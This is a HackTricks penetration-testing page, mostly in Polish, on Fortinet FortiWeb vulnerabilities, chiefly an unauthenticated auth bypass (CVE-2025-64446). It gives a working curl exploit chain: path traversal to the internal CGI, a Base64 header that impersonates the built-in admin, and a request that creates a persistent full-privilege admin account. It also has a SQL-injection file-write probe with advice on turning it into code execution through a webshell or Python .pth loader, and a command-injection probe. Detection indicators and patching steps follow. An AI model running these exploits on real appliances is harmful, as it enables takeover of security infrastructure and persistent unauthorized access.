Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Overview
Fortinet FortiWeb exposes a centralized CGI dispatcher at /cgi-bin/fwbcgi. A two-bug chain allows an unauthenticated remote attacker to:
- Reach
fwbcgiby starting the URL with a valid API prefix and traversing directories. - Impersonate any user (including the built-in
admin) by supplying a special HTTP header that the CGI trusts as identity.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.
Impacted versions (as publicly documented):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.
Quick vulnerability probe
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretacja: HTTP 200 → prawdopodobnie podatny; HTTP 403 → załatany.
Root cause chain
- API-prefix path traversal to internal CGI
- Każda ścieżka żądania, która zaczyna się od prawidłowego prefiksu API FortiWeb (np.
/api/v2.0/cmdb/lub/api/v2.0/cmd/) może przemieścić się za pomocą../do/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Gdy osiągnięty zostanie
fwbcgi, pierwszy filtr wykonuje liberalną kontrolę JSON opartą na pliku specyficznym dla danej ścieżki w katalogu/var/log/inputcheck/. Jeśli plik nie istnieje, kontrola przechodzi natychmiast. Jeśli istnieje, ciało żądania musi jedynie być poprawnym JSON-em. Użyj{}jako minimalnego poprawnego ciała żądania.
- Header-driven user impersonation
- Program odczytuje zmienną środowiskową CGI
HTTP_CGIINFO(pochodzącą z nagłówka HTTPCGIINFO), dekoduje ją z Base64, parsuje JSON i kopiuje atrybuty bezpośrednio do kontekstu logowania, ustawiając domain/VDOM. Klucze istotne: username,loginname,vdom,profname- Przykładowy JSON do podszycia się pod wbudowanego administratora:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 powyższego (stosowane w praktyce):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Wzorzec nadużycia end-to-end (niezalogowany → administrator)
- Osiągnij
/cgi-bin/fwbcgiprzez API-prefix traversal. - Dostarcz dowolne poprawne ciało JSON (np.
{}), aby spełnić sprawdzenie wejścia. - Wyślij nagłówek
CGIINFO: <base64(json)>, gdzie JSON definiuje docelową tożsamość. - Wyślij (POST) backendowy JSON oczekiwany przez
fwbcgi, aby wykonać uprzywilejowane akcje (np. utworzyć konto administratora dla utrzymania dostępu).
Minimalny cURL PoC
- Sprawdź ekspozycję traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Podszyj się pod admina i utwórz nowego lokalnego użytkownika z uprawnieniami admina:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Uwaga:
- Każde prawidłowe ciało JSON wystarczy (np.
{}), jeśli/var/log/inputcheck/<path>.jsonnie istnieje. - Schemat akcji jest wewnętrzny dla FortiWeb; powyższy przykład dodaje lokalnego administratora z pełnymi uprawnieniami.
Inne podatności FortiWeb 2025 warte szybkiego sprawdzenia
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Dotyczy 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Naprawione w 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Błąd:
get_fabric_user_by_token()używa wartościAuthorization: Bearer <token>bezpośrednio w zapytaniu SQL. Atakujący dostarcza SQL, który uruchamia się jako użytkownik MySQL i może zapisywać pliki za pomocąSELECT ... INTO OUTFILE, prowadząc do wykonania kodu (webshell/.pthloader). - Typowa powierzchnia ataku:
/api/fabric/device/status(i inne endpointy Fabric Connector) przez HTTP/HTTPS na płaszczyźnie zarządzania. - Szybki test na SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Weaponization: zapisz plik
.pthw FortiWeb’s Python site-packages, który importujeos;os.system(...)przy starcie interpretera, lub umieść CGI w webroot. Przeładowanie usług wykona payload. - Hunting clues: Authorization headers containing quotes/UNION/SELECT; nieoczekiwane pliki pod
/data/lib/python*/site-packages/lub/data/var/waf/html/ROOT/cgi-bin/.
FortiCloud SSO signature bypass (CVE-2025-59719)
- Improper SAML signature verification lets an attacker forge FortiCloud SSO responses and log in as admin with no credentials.
- Only exploitable when FortiCloud SSO login is enabled (it turns on automatically if the appliance was registered via GUI unless the checkbox was unticked).
- Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.
OS command injection in management plane (CVE-2025-58034)
- Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Practical probe (non-destructive): send a parameter containing
;id;to management HTTP endpoints and watch for 500 responses with command output; block or patch immediately if any echo is seen.
Wykrywanie
- Żądania docierające do
/cgi-bin/fwbcgiprzez API-prefiksowane ścieżki zawierające../(np./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Obecność nagłówka
CGIINFOz Base64 JSON zawierającym kluczeusername/loginname/vdom/profname. - Fabric Connector SQLi: Authorization headers containing SQL metacharacters, nagłe pojawienie się plików w Python site-packages/CGI dirs, odwołania do
/api/fabric/device/statusz adresów IP z internetu. - FortiCloud SSO: unexpected SAML issuers or audience values in
/var/log/ssod. - Artefakty backendu:
- Pliki per-ścieżka pod
/var/log/inputcheck/(gate configuration). - Nieoczekiwane tworzenie konta admin i zmiany konfiguracji.
- Szybka walidacja: próba traversal zwracająca 200 (ujawnione) vs 403 (zablokowane w poprawionych buildach).
Środki zaradcze
- Uaktualnij do naprawionych wersji (przykłady: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) zgodnie z zaleceniami producenta.
- Załatuj pozostałe luki z 2025: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- Do czasu załatania:
- Nie wystawiaj FortiWeb management plane na niezaufane sieci.
- Dodaj reguły reverse-proxy/WAF blokujące:
- Ścieżki zaczynające się od
/api/i zawierające../cgi-bin/fwbcgi. - Żądania zawierające nagłówek
CGIINFO. - Wywołania Fabric Connector z metaznakami SQL w
Authorization. - Punkty końcowe SAML z internetu, jeśli FortiCloud SSO nie jest używane.
- Monitoruj i alertuj na powyższe wskaźniki wykrywania.
Źródła
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


